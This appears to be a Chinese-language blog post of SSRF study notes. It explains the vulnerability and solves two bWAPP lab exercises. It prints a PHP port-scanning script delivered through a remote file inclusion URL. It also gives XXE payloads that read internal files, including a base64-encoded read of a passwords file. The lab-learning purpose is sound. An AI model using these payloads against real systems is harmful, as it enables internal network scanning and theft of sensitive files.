SSRF学习

关于SSRF的一些学习笔记,会介绍SSRF的利用原理及两个bWapp中关于SSRF的案例

前言

学习SSRF的一些笔记,记录一遍,以便加深印象。
话不多说,先给出链接
参考链接:SSRFSSRF学习之路

SSRF是什么

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成,服务端发起请求的一个安全漏洞。一般情况下,SSRF的目标是目标网站的内部系统。(因为他是从内部系统访问的,所以可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

SSRF形成原因

SSRF形成的原因大多是由于服务端提供了从其他服务器应用获取数据的功能,但没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。

总结来说SSRF漏洞就是黑客通过篡改服务器获取资源的请求,而服务器并没有检测这个请求是否合法,然后黑客就可以以目标网站的身份来访问服务器的一些内部资源

SSRF的用途

SSRF可以用来:

  1. 内外网的端口和服务扫描
  2. 目标网站本地敏感数据的读取
  3. 内外网主机应用程序漏洞的利用
  4. 内外网Web站点漏洞的利用

SSRF漏洞常见出现位置

由上面叙述中可以得知,SSRF漏洞都是在服务端获取其他站点的资源的过程中形成的。故可以盯紧调用外部资源的参数寻找SSRF漏洞
这里具体可以参考: SSRF漏洞的挖掘经验
就简单概括一下吧,具体看上述链接

  1. 分享:通过URL地址分享网页内容
  2. 转码服务
  3. 在线翻译
  4. 图片加载与下载:通过URL地址加载或下载图片
  5. 图片、文章收藏功能
  6. 未公开的api实现以及其他调用URL的功能
  7. 从URL关键字中寻找:

    share
    wap
    url
    link
    src
    source
    target
    u
    3g
    display
    sourceURl
    imageURL
    domain
    ...
    

SSRF漏洞的简单判断方法

  1. 因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的,从而来判断是否存在SSRF漏洞
  2. 在页面源码中查找访问的资源地址,如果资源地址类型为www.hdu.edu.cn/xxx.php?image=\的话,则有可能出现SSRF漏洞

SSRF实例 —— bWapp中的SSRF

任务列表

选择bWapp中的SSRF环境,可以看到有三个任务,第三个因为没有实验环境,所以就做两个。

0x01 利用RFI进行端口扫描

点击 Port scan,获取一个利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php

echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";

if(isset($_REQUEST["ip"]))
{

//list of port numbers to scan
$ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);

$results = array();

foreach($ports as $port)
{

if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))
//创建一个套接字连接到指定IP,成功返回句柄,失败false
{

$results[$port] = true;
fclose($pf);

}

else
{

$results[$port] = false;

}

}

foreach($results as $port=>$val)
{

$prot = getservbyport($port,"tcp"); //返回端口对应协议
echo "Port $port ($prot): ";

if($val)
{

echo "<span style=\"color:green\">OK</span><br/>";

}

else
{

echo "<span style=\"color:red\">Inaccessible</span><br/>";

}

}

}
?>

分析代码

相应重要注释我已经在上面代码中写出,这里就简单写写。

  1. 首先看到if(isset($_REQUEST["ip"])),先要提交传递IP参数才能激活脚本。
  2. 然后是两个foreach循环,第一个循环是标记出目标IP 21, 22, 23, 25, 53, 80, 110, 1433, 3306这些常用端口的开放情况,开放即为true、关闭为false。第二个循环是将上一个循环判断得出的端口开放情况并加上端口对应的服务协议输出。

利用脚本

  1. 将bWapp的漏洞环境切换为RFI/LFI
  2. 可以看到有个选择语言的按钮,点击后观察到页面的url变化为http://192.168.164.131/bWAPP/rlfi.php?language=lang_en.php&action=go,其中language参数此处存在远程文件包含漏洞,也就是说可以通过此处调用恶意脚本。
  3. 脚本的url地址是http://192.168.164.131/evil/ssrf-1.txt,将url复制下来,构造payload

    POST: http://192.168.164.131/bWAPP/rlfi.php?language=http://192.168.164.131/evil/ssrf-1.txt&action=go
    POST Data: ip=xx.xx.xx.xx

0x02 利用XXE获取敏感文件中的内容

点击 Access 获取脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Accesses a file on the internal network (1)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "http://localhost/bWAPP/robots.txt">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>


# Accesses a file on the internal network (2)
# Web pages returns some characters that break the XML schema > use the PHP base64 encoder filter to return an XML schema friendly version of the page!

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "php://filter/read=convert.base64-encode/resource=http://localhost/bWAPP/passwords/heroes.xml">
]>
<reset><login>&bWAPP;</login><secret>blah</secret></reset>

利用脚本

此处是利用bWapp中的XXE环境进行实验,关于bWapp中XXE的实验我之前已经写过了这里就不多说了。
区别就是将payload分别换成此处脚本中的。

获取robots.txt文件

获取heroes.html源码


总结

SSRF就到这里了。现在都在更些基础的东西,希望日后能多写点更深层次的。

ヾノ≧∀≦)o 来呀!快活呀!~
-------- 本文结束 --------